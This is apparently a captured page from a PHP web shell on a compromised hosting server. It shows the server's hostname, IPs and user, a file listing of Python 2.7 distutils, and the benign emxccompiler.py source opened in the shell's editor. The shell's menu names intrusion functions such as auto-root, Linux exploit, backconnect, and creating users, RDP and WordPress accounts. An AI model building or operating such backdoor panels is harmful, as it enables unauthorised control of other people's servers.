Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
lib64 /
python2.7 /
distutils /
[ HOME SHELL ]
Name
Size
Permission
Action
command
[ DIR ]
drwxr-xr-x
README
295
B
-rw-r--r--
__init__.py
236
B
-rw-r--r--
__init__.pyc
415
B
-rw-r--r--
__init__.pyo
415
B
-rw-r--r--
archive_util.py
8.03
KB
-rw-r--r--
archive_util.pyc
7.42
KB
-rw-r--r--
archive_util.pyo
7.42
KB
-rw-r--r--
bcppcompiler.py
14.59
KB
-rw-r--r--
bcppcompiler.pyc
7.7
KB
-rw-r--r--
bcppcompiler.pyo
7.7
KB
-rw-r--r--
ccompiler.py
45.63
KB
-rw-r--r--
ccompiler.pyc
36.02
KB
-rw-r--r--
ccompiler.pyo
35.88
KB
-rw-r--r--
cmd.py
18.82
KB
-rw-r--r--
cmd.pyc
16.41
KB
-rw-r--r--
cmd.pyo
16.41
KB
-rw-r--r--
config.py
4.04
KB
-rw-r--r--
config.pyc
3.48
KB
-rw-r--r--
config.pyo
3.48
KB
-rw-r--r--
core.py
8.81
KB
-rw-r--r--
core.pyc
7.36
KB
-rw-r--r--
core.pyo
7.36
KB
-rw-r--r--
cygwinccompiler.py
17.32
KB
-rw-r--r--
cygwinccompiler.pyc
9.59
KB
-rw-r--r--
cygwinccompiler.pyo
9.59
KB
-rw-r--r--
debug.py
162
B
-rw-r--r--
debug.pyc
254
B
-rw-r--r--
debug.pyo
254
B
-rw-r--r--
dep_util.py
3.43
KB
-rw-r--r--
dep_util.pyc
3.11
KB
-rw-r--r--
dep_util.pyo
3.11
KB
-rw-r--r--
dir_util.py
7.68
KB
-rw-r--r--
dir_util.pyc
6.63
KB
-rw-r--r--
dir_util.pyo
6.63
KB
-rw-r--r--
dist.py
48.88
KB
-rw-r--r--
dist.pyc
38.26
KB
-rw-r--r--
dist.pyo
38.26
KB
-rw-r--r--
emxccompiler.py
11.65
KB
-rw-r--r--
emxccompiler.pyc
7.29
KB
-rw-r--r--
emxccompiler.pyo
7.29
KB
-rw-r--r--
errors.py
3.41
KB
-rw-r--r--
errors.pyc
6.14
KB
-rw-r--r--
errors.pyo
6.14
KB
-rw-r--r--
extension.py
10.65
KB
-rw-r--r--
extension.pyc
7.24
KB
-rw-r--r--
extension.pyo
7.02
KB
-rw-r--r--
fancy_getopt.py
17.53
KB
-rw-r--r--
fancy_getopt.pyc
11.68
KB
-rw-r--r--
fancy_getopt.pyo
11.5
KB
-rw-r--r--
file_util.py
7.94
KB
-rw-r--r--
file_util.pyc
6.59
KB
-rw-r--r--
file_util.pyo
6.59
KB
-rw-r--r--
filelist.py
12.39
KB
-rw-r--r--
filelist.pyc
10.5
KB
-rw-r--r--
filelist.pyo
10.5
KB
-rw-r--r--
log.py
1.65
KB
-rw-r--r--
log.pyc
2.72
KB
-rw-r--r--
log.pyo
2.72
KB
-rw-r--r--
msvc9compiler.py
30.28
KB
-rw-r--r--
msvc9compiler.pyc
20.99
KB
-rw-r--r--
msvc9compiler.pyo
20.92
KB
-rw-r--r--
msvccompiler.py
23.08
KB
-rw-r--r--
msvccompiler.pyc
17.11
KB
-rw-r--r--
msvccompiler.pyo
17.11
KB
-rw-r--r--
spawn.py
8.45
KB
-rw-r--r--
spawn.pyc
6.28
KB
-rw-r--r--
spawn.pyo
6.28
KB
-rw-r--r--
sysconfig.py
17.29
KB
-rw-r--r--
sysconfig.py.debug-build
17.21
KB
-rw-r--r--
sysconfig.pyc
13.09
KB
-rw-r--r--
sysconfig.pyo
13.09
KB
-rw-r--r--
text_file.py
12.14
KB
-rw-r--r--
text_file.pyc
9.04
KB
-rw-r--r--
text_file.pyo
9.04
KB
-rw-r--r--
unixccompiler.py
13.89
KB
-rw-r--r--
unixccompiler.py.distutils-rpa...
13.36
KB
-rw-r--r--
unixccompiler.pyc
8.04
KB
-rw-r--r--
unixccompiler.pyo
8.04
KB
-rw-r--r--
util.py
17.81
KB
-rw-r--r--
util.pyc
14.05
KB
-rw-r--r--
util.pyo
14.05
KB
-rw-r--r--
version.py
11.17
KB
-rw-r--r--
version.pyc
7.04
KB
-rw-r--r--
version.pyo
7.04
KB
-rw-r--r--
versionpredicate.py
4.98
KB
-rw-r--r--
versionpredicate.pyc
5.41
KB
-rw-r--r--
versionpredicate.pyo
5.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : emxccompiler.py
"""distutils.emxccompiler Provides the EMXCCompiler class, a subclass of UnixCCompiler that handles the EMX port of the GNU C compiler to OS/2. """ # issues: # # * OS/2 insists that DLLs can have names no longer than 8 characters # We put export_symbols in a def-file, as though the DLL can have # an arbitrary length name, but truncate the output filename. # # * only use OMF objects and use LINK386 as the linker (-Zomf) # # * always build for multithreading (-Zmt) as the accompanying OS/2 port # of Python is only distributed with threads enabled. # # tested configurations: # # * EMX gcc 2.81/EMX 0.9d fix03 __revision__ = "$Id$" import os,sys,copy from distutils.ccompiler import gen_preprocess_options, gen_lib_options from distutils.unixccompiler import UnixCCompiler from distutils.file_util import write_file from distutils.errors import DistutilsExecError, CompileError, UnknownFileError from distutils import log class EMXCCompiler (UnixCCompiler): compiler_type = 'emx' obj_extension = ".obj" static_lib_extension = ".lib" shared_lib_extension = ".dll" static_lib_format = "%s%s" shared_lib_format = "%s%s" res_extension = ".res" # compiled resource file exe_extension = ".exe" def __init__ (self, verbose=0, dry_run=0, force=0): UnixCCompiler.__init__ (self, verbose, dry_run, force) (status, details) = check_config_h() self.debug_print("Python's GCC status: %s (details: %s)" % (status, details)) if status is not CONFIG_H_OK: self.warn( "Python's pyconfig.h doesn't seem to support your compiler. " + ("Reason: %s." % details) + "Compiling may fail because of undefined preprocessor macros.") (self.gcc_version, self.ld_version) = \ get_versions() self.debug_print(self.compiler_type + ": gcc %s, ld %s\n" % (self.gcc_version, self.ld_version) ) # Hard-code GCC because that's what this is all about. # XXX optimization, warnings etc. should be customizable. self.set_executables(compiler='gcc -Zomf -Zmt -O3 -fomit-frame-pointer -mprobe -Wall', compiler_so='gcc -Zomf -Zmt -O3 -fomit-frame-pointer -mprobe -Wall', linker_exe='gcc -Zomf -Zmt -Zcrtdll', linker_so='gcc -Zomf -Zmt -Zcrtdll -Zdll') # want the gcc library statically linked (so that we don't have # to distribute a version dependent on the compiler we have) self.dll_libraries=["gcc"] # __init__ () def _compile(self, obj, src, ext, cc_args, extra_postargs, pp_opts): if ext == '.rc': # gcc requires '.rc' compiled to binary ('.res') files !!! try: self.spawn(["rc", "-r", src]) except DistutilsExecError, msg: raise CompileError, msg else: # for other files use the C-compiler try: self.spawn(self.compiler_so + cc_args + [src, '-o', obj] + extra_postargs) except DistutilsExecError, msg: raise CompileError, msg def link (self, target_desc, objects, output_filename, output_dir=None, libraries=None, library_dirs=None, runtime_library_dirs=None, export_symbols=None, debug=0, extra_preargs=None, extra_postargs=None, build_temp=None, target_lang=None): # use separate copies, so we can modify the lists extra_preargs = copy.copy(extra_preargs or []) libraries = copy.copy(libraries or []) objects = copy.copy(objects or []) # Additional libraries libraries.extend(self.dll_libraries) # handle export symbols by creating a def-file # with executables this only works with gcc/ld as linker if ((export_symbols is not None) and (target_desc != self.EXECUTABLE)): # (The linker doesn't do anything if output is up-to-date. # So it would probably better to check if we really need this, # but for this we had to insert some unchanged parts of # UnixCCompiler, and this is not what we want.) # we want to put some files in the same directory as the # object files are, build_temp doesn't help much # where are the object files temp_dir = os.path.dirname(objects[0]) # name of dll to give the helper files the same base name (dll_name, dll_extension) = os.path.splitext( os.path.basename(output_filename)) # generate the filenames for these files def_file = os.path.join(temp_dir, dll_name + ".def") # Generate .def file contents = [ "LIBRARY %s INITINSTANCE TERMINSTANCE" % \ os.path.splitext(os.path.basename(output_filename))[0], "DATA MULTIPLE NONSHARED", "EXPORTS"] for sym in export_symbols: contents.append(' "%s"' % sym) self.execute(write_file, (def_file, contents), "writing %s" % def_file) # next add options for def-file and to creating import libraries # for gcc/ld the def-file is specified as any other object files objects.append(def_file) #end: if ((export_symbols is not None) and # (target_desc != self.EXECUTABLE or self.linker_dll == "gcc")): # who wants symbols and a many times larger output file # should explicitly switch the debug mode on # otherwise we let dllwrap/ld strip the output file # (On my machine: 10KB < stripped_file < ??100KB # unstripped_file = stripped_file + XXX KB # ( XXX=254 for a typical python extension)) if not debug: extra_preargs.append("-s") UnixCCompiler.link(self, target_desc, objects, output_filename, output_dir, libraries, library_dirs, runtime_library_dirs, None, # export_symbols, we do this in our def-file debug, extra_preargs, extra_postargs, build_temp, target_lang) # link () # -- Miscellaneous methods ----------------------------------------- # override the object_filenames method from CCompiler to # support rc and res-files def object_filenames (self, source_filenames, strip_dir=0, output_dir=''): if output_dir is None: output_dir = '' obj_names = [] for src_name in source_filenames: # use normcase to make sure '.rc' is really '.rc' and not '.RC' (base, ext) = os.path.splitext (os.path.normcase(src_name)) if ext not in (self.src_extensions + ['.rc']): raise UnknownFileError, \ "unknown file type '%s' (from '%s')" % \ (ext, src_name) if strip_dir: base = os.path.basename (base) if ext == '.rc': # these need to be compiled to object files obj_names.append (os.path.join (output_dir, base + self.res_extension)) else: obj_names.append (os.path.join (output_dir, base + self.obj_extension)) return obj_names # object_filenames () # override the find_library_file method from UnixCCompiler # to deal with file naming/searching differences def find_library_file(self, dirs, lib, debug=0): shortlib = '%s.lib' % lib longlib = 'lib%s.lib' % lib # this form very rare # get EMX's default library directory search path try: emx_dirs = os.environ['LIBRARY_PATH'].split(';') except KeyError: emx_dirs = [] for dir in dirs + emx_dirs: shortlibp = os.path.join(dir, shortlib) longlibp = os.path.join(dir, longlib) if os.path.exists(shortlibp): return shortlibp elif os.path.exists(longlibp): return longlibp # Oops, didn't find it in *any* of 'dirs' return None # class EMXCCompiler # Because these compilers aren't configured in Python's pyconfig.h file by # default, we should at least warn the user if he is using a unmodified # version. CONFIG_H_OK = "ok" CONFIG_H_NOTOK = "not ok" CONFIG_H_UNCERTAIN = "uncertain" def check_config_h(): """Check if the current Python installation (specifically, pyconfig.h) appears amenable to building extensions with GCC. Returns a tuple (status, details), where 'status' is one of the following constants: CONFIG_H_OK all is well, go ahead and compile CONFIG_H_NOTOK doesn't look good CONFIG_H_UNCERTAIN not sure -- unable to read pyconfig.h 'details' is a human-readable string explaining the situation. Note there are two ways to conclude "OK": either 'sys.version' contains the string "GCC" (implying that this Python was built with GCC), or the installed "pyconfig.h" contains the string "__GNUC__". """ # XXX since this function also checks sys.version, it's not strictly a # "pyconfig.h" check -- should probably be renamed... from distutils import sysconfig import string # if sys.version contains GCC then python was compiled with # GCC, and the pyconfig.h file should be OK if string.find(sys.version,"GCC") >= 0: return (CONFIG_H_OK, "sys.version mentions 'GCC'") fn = sysconfig.get_config_h_filename() try: # It would probably better to read single lines to search. # But we do this only once, and it is fast enough f = open(fn) try: s = f.read() finally: f.close() except IOError, exc: # if we can't read this file, we cannot say it is wrong # the compiler will complain later about this file as missing return (CONFIG_H_UNCERTAIN, "couldn't read '%s': %s" % (fn, exc.strerror)) else: # "pyconfig.h" contains an "#ifdef __GNUC__" or something similar if string.find(s,"__GNUC__") >= 0: return (CONFIG_H_OK, "'%s' mentions '__GNUC__'" % fn) else: return (CONFIG_H_NOTOK, "'%s' does not mention '__GNUC__'" % fn) def get_versions(): """ Try to find out the versions of gcc and ld. If not possible it returns None for it. """ from distutils.version import StrictVersion from distutils.spawn import find_executable import re gcc_exe = find_executable('gcc') if gcc_exe: out = os.popen(gcc_exe + ' -dumpversion','r') try: out_string = out.read() finally: out.close() result = re.search('(\d+\.\d+\.\d+)',out_string) if result: gcc_version = StrictVersion(result.group(1)) else: gcc_version = None else: gcc_version = None # EMX ld has no way of reporting version number, and we use GCC # anyway - so we can link OMF DLLs ld_version = None return (gcc_version, ld_version)
Close